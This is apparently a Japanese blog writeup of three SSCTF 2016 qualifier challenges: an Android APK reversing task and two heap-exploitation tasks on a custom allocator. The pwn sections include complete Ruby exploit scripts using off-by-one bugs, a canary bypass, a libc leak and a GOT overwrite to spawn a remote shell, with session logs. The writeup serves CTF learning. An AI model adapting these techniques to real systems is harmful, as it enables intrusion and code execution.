SSCTF 2016 Quals writeup
SSCTF 2016 Qualsにscryptosで参加しました。
チームで2410pts入れて20位、
私は3問解いて1100pts入れました(*´ω`*)
解けた問題のwriteupを置いておきます(`・ω・´)
珍しく気合いの入ったwriteupを書いたので疲れました(小並感)
Re1 (rev 100)
渡されたapkをGenymotionに放り込んで実行してみるとこんな画面が出る。
BytecodeViewer等で眺めてみると、Signボタンを押したときにこんな感じの処理をしていることがわかった。
def some_function(arg1, arg2) # DESで何かする end # libplokm.so内にある関数 def getpl(key, input) # フラグを作っているっぽい処理 str = generate_flag() if input.length == 39 && str == input return 1 else return 0 end end # txt_user→上のTextBox # txt_no→下のTextBox if txt_user == "secl-007" && getpl(some_function("secl-007", "A7B7C7D7E7F70717"), txt_no) != 0 # あたり else # はずれ end
ここで使われているgetpl
関数は、フラグを生成した後、入力値とフラグが等しいかどうかをチェックする仕組みになっている。
しかし、生成したフラグを消す処理が見当たらないため、getpl
関数が実行されると、入力値が正しいかどうか関係なくメモリ上にフラグが残る可能性が高いと言える。
ということで、getpl
が実行されるような文字列を入力した状態(上のTextBoxに"secl-007", 下のTextBoxに何らかの入力があればOK)でSignボタンを押し、Genymotionのメモリ上に"SSCTF{"から始まる文字列がないかを探した。
FLAG:oty3eaP$g986iwhw32j%OJ)g0o7J.CG:
Pwn-1 (exp 400)
_CMD_$ help Command Menu: history : Show history reload : Reload history clear : Clear history sort : Sort numbers exit : Exit _CMD_$ sort How many numbers do you want to sort: 3 1 of 3, Enter a number: 2 2 of 3, Enter a number: 3 3 of 3, Enter a number: 1 Sort Menu: 1: Query number by index 2: Update number by index 3: Sort numbers 7: Quit Choose: 3 [*L*] The sorted result is: 1 2 3 Sort Menu: 1: Query number by index 2: Update number by index 3: Sort numbers 7: Quit Choose: 7 _CMD_$ exit Game over, Bye!
配列をソートするためのプログラム。
主な仕様はこんな感じ。
- 通常メニュー
- sort
- 配列の長さと各要素を入力し、編集メニューに遷移する
- 配列は
[配列の長さn, 要素1, 要素2, ..., 要素n]
というデータ構造で保持する
- history
- 履歴に登録されている配列データの長さと内容をすべて出力する
- 履歴データは
[配列データへのポインタ, 次の履歴データへのポインタ]
というデータ構造になっており、すべての履歴データで1つの線形リストを構成する
- reload
- 履歴に登録されている配列データのうち、ユーザが指定した1つを複製し、編集メニューに遷移する
- 内部的には、
(1) 複製対象の配列データを参照し、配列の長さnを調べる
(2)sizeof(int) * (n + 1)
bytesの領域を確保
(3)memcpy(確保した領域, 複製対象の配列, sizeof(int) * (n + 1))
(4) 編集メニューへ
という流れ
- clear
- 履歴データと配列データをすべて削除する
- help
- exit
- sort
- 編集メニュー
- 1: Query number by index
- 配列内の任意の要素を出力する
- 配列外参照(off by one)のバグがある
- 2: Update number by index
- 配列内の任意の要素を編集する
- 配列外参照(off by one)のバグがある
- 3: Sort numbers
- 配列内をヒープソートで昇順ソートし、履歴に配列への参照を登録する
- 7: Quit
- 通常メニューに戻る
- Sort numbersが一度も実行されなかった場合、配列データは解放される
- 1: Query number by index
このプログラムは独自のmalloc
(以後my_malloc
)とfree
(以後my_free
)を実装しており、配列データと履歴データはmy_malloc
で確保された領域に格納される。
メモリ管理まわりの実装はこんな感じになっている。
- 管理方法
main
関数の最初に0x10000bytesの領域をmalloc
で確保し、以降のmy_malloc
ではこの領域を切り分けて使う(図の白い部分)- 1つ1つのチャンクに管理データが用意される(管理データのための領域は
malloc
で確保されるので、実体は図の灰色の部分にある) - すべての管理データで1つの線形リストを構成する
- 管理データのリストは
size
の昇順に並ぶ(チャンクサイズが等しいものが複数ある場合はLast In, First Out)
my_malloc
- 管理データのリストを先頭から検索し、要求サイズとぴったり合うチャンクがあれば、そのアドレスをそのまま返す
- 要求サイズより大きいチャンクならあるという場合は、そのチャンクを分割する
my_malloc(0)
がエラーにならず、有効なアドレスを返す
my_free
- 管理データの
is_used
を0にするだけ - ただし、解放しようとしているメモリが一番最初に確保した0x10000bytesの範囲から外れている場合、または管理データのリストに載っていない場合は
exit(0)
する
- 管理データの
以下のような手順で攻略できる。
- 長さ31の配列を作ってソート実行(図中の
A
は配列データ、H
は履歴データを表す)
- 長さ1の配列を作り、ソートせずに解放
- 一旦clear
- 長さ5の配列を作り、ソートせずに解放
- 長さ7の配列を作ってソート実行
- 長さ5の配列を作り、off-by-oneバグで5.の配列の長さを-1に書き換える
- 6.で作った配列はいらないのでソートせずに解放
- 5.で作った配列をreloadすると、
my_malloc(sizeof(int) * (-1 + 1))
が実行され、下図の緑色で示す領域のアドレスが返ってくる
さらに、配列の複製処理であるmemcpy(確保した領域, 複製対象の配列, sizeof(int) * (n + 1))
も無効になる
この領域は元々1.で作った配列の履歴データが入っていたため、[1.で作った配列のアドレス, NULL]
というデータが入っている
プログラムはこれを配列データと誤認しているため、ユーザは先のmy_malloc(0)
で返ってきたアドレス以降のメモリを読み書きできる状態になった - ヒープ上のメモリレイアウトを思い出してみると、
my_malloc
で確保される領域の後ろにはmy_malloc
のチャンク用の管理データがある(下図の灰色の部分)
is_used
が0な管理データのdata
ポインタをgotに向けて、my_malloc
時にgotのアドレスが返ってくるようにする
- 新しい数列を作る。このとき、数列の長さは
my_malloc
がgotのアドレスを返すような長さにする - gotを読み書きできるようになるので、got leakでlibcのベースアドレスを調べ、got overwriteでシェルを奪う
#coding:ascii-8bit require_relative "../../pwnlib" remote = true if remote host = "pwn.lab.seclover.com" port = 11111 libc_offset = { "puts" => 0x625e0, "system" => 0x3bc90 } else host = "localhost" port = 54321 libc_offset = { "puts" => 0x65650, "system" => 0x40190 } end offset = { "ret" => 0x08048b10 } got = { "__stack_chk_fail" => 0x0804d02c } def show_history(tube) tube.recv_until("_CMD_$ ") tube.send("history\n") end def reload_history(tube, id) tube.recv_until("_CMD_$ ") tube.send("reload\n") tube.recv_until("Reload history ID: ") tube.send("#{id}\n") end def clear_history(tube) tube.recv_until("_CMD_$ ") tube.send("clear\n") end def sort_numbers(tube, numbers) tube.recv_until("_CMD_$ ") tube.send("sort\n") tube.recv_until("How many numbers do you want to sort: ") tube.send("#{numbers.length}\n") for n in numbers tube.recv_until("Enter a number: ") tube.send("#{[n].pack("L").unpack("l")[0]}\n") end end def query_array(tube, index) tube.recv_until("Choose: ") tube.send("1\n") tube.recv_until("Query index: ") tube.send("#{index}\n") end def update_array(tube, index, number) tube.recv_until("Choose: ") tube.send("2\n") tube.recv_until("Update index: ") tube.send("#{index}\n") tube.recv_until("Update number: ") tube.send("#{[number].pack("L").unpack("l")[0]}\n") end def sort_array(tube) tube.recv_until("Choose: ") tube.send("3\n") end def quit_sort_menu(tube) tube.recv_until("Choose: ") tube.send("7\n") end PwnTube.open(host, port){|tube| puts "[*] preparing..." sort_numbers(tube, [1] * 31) sort_array(tube) quit_sort_menu(tube) sort_numbers(tube, [1]) quit_sort_menu(tube) clear_history(tube) sort_numbers(tube, [1] * 5) quit_sort_menu(tube) sort_numbers(tube, [1] * 7) sort_array(tube) quit_sort_menu(tube) sort_numbers(tube, [1] * 5) puts "[*] overwrite array length" update_array(tube, 5, -1) quit_sort_menu(tube) puts "[*] overwrite chunk management area" reload_history(tube, 0) update_array(tube, 16379, got["__stack_chk_fail"]) quit_sort_menu(tube) puts "[*] leak libc base" tube.recv_until("_CMD_$ ") tube.send("sort\n") tube.recv_until("How many numbers do you want to sort: ") tube.send("17\n") tube.recv_until("Enter a number: ") tube.send("a\n") query_array(tube, 0) libc_base = (tube.recv_capture(/Query result: (-?\d+)\n/)[0].to_i & 0xffffffff) - libc_offset["puts"] puts "libc base = 0x%08x" % libc_base puts "[*] overwrite got" update_array(tube, 3, libc_base + libc_offset["system"]) update_array(tube, 4, offset["ret"]) quit_sort_menu(tube) puts "[*] trigger shell" tube.recv_until("_CMD_$ ") tube.send("sh\n") tube.interactive }
$ ruby pwn1.rb [*] connected [*] preparing... [*] overwrite array length [*] overwrite chunk management area [*] leak libc base libc base = 0xb74ca000 [*] overwrite got [*] trigger shell [*] interactive mode id uid=1001(pwn4) gid=1001(pwn4) groups=1001(pwn4) ls -la total 32 dr-xr-x--- 2 root pwn4 4096 Feb 23 18:07 . drwx------ 4 root root 4096 Feb 23 17:18 .. -rwxr-xr-x 1 root root 17980 Feb 15 12:23 4.Exploit1 ---------- 1 root root 40 Feb 23 17:21 SSCTF{e8b381956eac817add74767b15c448e4} [*] connection closed
FLAG:e8b381956eac817add74767b15c448e4
Pwn-2 (exp 600)
Pwn-1のリメイク。
主な変更点は以下。
- コンパイラの最適化がかかっている
- 独自の改ざん検知がついた
main
の最初にrand
で乱数を生成し、bssに保存(以後my_canary
)- 配列データは
[配列の長さn, チェックデータ(n ^ my_canary), 要素1, 要素2, ..., 要素n]
というデータ構造で保持する - 配列の要素を参照したり変更したりする際、
配列の長さ ^ チェックデータ == my_canary
が成り立たない場合はexit(0)
する - この変更に伴い、reload時の
my_malloc
がmy_malloc(sizeof(int) * (n + 2))
に、memcpy
がmemcpy(確保した領域, 複製対象の配列, sizeof(int) * (n + 2))
になった
改ざん検知機能がついたのでPwn-1の手法をそのまま使うことは出来ないが、だいたい同じような流れで攻略できる。
- まず
my_canary
をリークしたいので、長さ2の配列を作ってソートし、off-by-oneバグで履歴データのポインタをbssにあるmy_canary
に向ける
このとき、my_canary
付近を[配列の長さ=my_canary, チェックデータ=0, ...]
という配列データとして見ると、ちゃんと配列の長さ ^ チェックデータ == my_canary
が成り立つので改ざん検知に引っかからない - historyコマンドで
my_canary
の値と、ついでにlibcベース調査用にstdinのアドレスをリークする - 長さ6の配列を作り、先頭に
[99999, 99999 ^ my_canary]
というデータを仕込んだ後、ソートせずに解放
- 長さ8の配列を作り、ソートせずに解放
- 長さ10の配列を作ってソート実行
- 長さ8の配列を作り、off-by-oneバグで5.の配列の長さを-2に書き換える
- 6.で作った配列はいらないのでソートせずに解放
- 5.で作った配列をreloadすると
my_malloc(0)
が実行され、下図の緑色で示す領域(3.でデータを仕込んだ領域)のアドレスが返ってくる
この領域を配列データとしてみると、ちゃんと配列の長さ(99999) ^ チェックデータ(99999 ^ my_canary) == my_canary
が成り立つので改ざん検知に引っかからない my_malloc
のチャンク用の管理データを書き換えられるようになるので、あとはPwn-1と同じ要領でgot overwriteすればOK
#coding:ascii-8bit require_relative "../../pwnlib" remote = true if remote host = "pwn.lab.seclover.com" port = 22222 libc_offset = { "_IO_2_1_stdin_" => 0x164440, "system" => 0x3bc90 } else host = "localhost" port = 54321 libc_offset = { "_IO_2_1_stdin_" => 0x1aac20, "system" => 0x40190 } end offset = { "my_canary" => 0x0804c04c, } got = { "putchar" => 0x0804c00c } def show_history(tube) tube.recv_until("_CMD_$ ") tube.send("history\n") end def reload_history(tube, id) tube.recv_until("_CMD_$ ") tube.send("reload\n") tube.recv_until("Reload history ID: ") tube.send("#{id}\n") end def clear_history(tube) tube.recv_until("_CMD_$ ") tube.send("clear\n") end def sort_numbers(tube, numbers) tube.recv_until("_CMD_$ ") tube.send("sort\n") tube.recv_until("How many numbers do you want to sort: ") tube.send("#{numbers.length}\n") for n in numbers tube.recv_until("Enter a number: ") tube.send("#{[n].pack("L").unpack("l")[0]}\n") end end def query_array(tube, index) tube.recv_until("Choose: ") tube.send("1\n") tube.recv_until("Query index: ") tube.send("#{index}\n") end def update_array(tube, index, number) tube.recv_until("Choose: ") tube.send("2\n") tube.recv_until("Update index: ") tube.send("#{index}\n") tube.recv_until("Update number: ") tube.send("#{[number].pack("L").unpack("l")[0]}\n") end def sort_array(tube) tube.recv_until("Choose: ") tube.send("3\n") end def quit_sort_menu(tube) tube.recv_until("Choose: ") tube.send("7\n") end PwnTube.open(host, port){|tube| puts "[*] leak original canary and libc base" sort_numbers(tube, [1] * 2) sort_array(tube) update_array(tube, 2, offset["my_canary"]) quit_sort_menu(tube) show_history(tube) canary, libc_base = tube.recv_capture(/Len = (\d+), Data = 0 0 0 (-?\d+) /).map(&:to_i) libc_base = (libc_base & 0xffffffff) - libc_offset["_IO_2_1_stdin_"] puts "canary = 0x%08x" % canary puts "libc base = 0x%08x" % libc_base puts "[*] preparing..." sort_numbers(tube, [2] * 6) update_array(tube, 0, 99999) update_array(tube, 1, canary ^ 99999) quit_sort_menu(tube) sort_numbers(tube, [3] * 8) quit_sort_menu(tube) sort_numbers(tube, [4] * 10) sort_array(tube) quit_sort_menu(tube) puts "[*] overwrite array length" sort_numbers(tube, [5] * 8) update_array(tube, 8, -2) quit_sort_menu(tube) puts "[*] overwrite chunk management area" reload_history(tube, 0) update_array(tube, 16390, got["putchar"]) quit_sort_menu(tube) puts "[*] overwrite got" tube.recv_until("_CMD_$ ") tube.send("sort\n") tube.recv_until("How many numbers do you want to sort: ") tube.send("8\n") tube.recv_until("Enter a number: ") tube.send("0\n") tube.recv_until("Enter a number: ") tube.send("#{0x08048706}\n") tube.recv_until("Enter a number: ") tube.send("a\n") update_array(tube, 2, libc_base + libc_offset["system"]) puts "[*] trigger shell" tube.recv_until("Choose: ") tube.send("sh\n") tube.interactive }
$ ruby pwn2.rb [*] connected [*] leak original canary and libc base canary = 0x1327b711 libc base = 0xb750e000 [*] preparing... [*] overwrite array length [*] overwrite chunk management area [*] overwrite got [*] trigger shell [*] interactive mode id uid=1002(pwn5) gid=1002(pwn5) groups=1002(pwn5) ls -la total 32 dr-xr-x--- 2 root pwn5 4096 Feb 23 18:04 . drwx------ 4 root root 4096 Feb 23 17:18 .. -rwxr-xr-x 1 root root 17928 Feb 15 12:23 5.Exploit2 ---------- 1 root root 40 Feb 23 17:21 SSCTF{eaf05181170412ab19d74ba3d5cf15b9}
FLAG:eaf05181170412ab19d74ba3d5cf15b9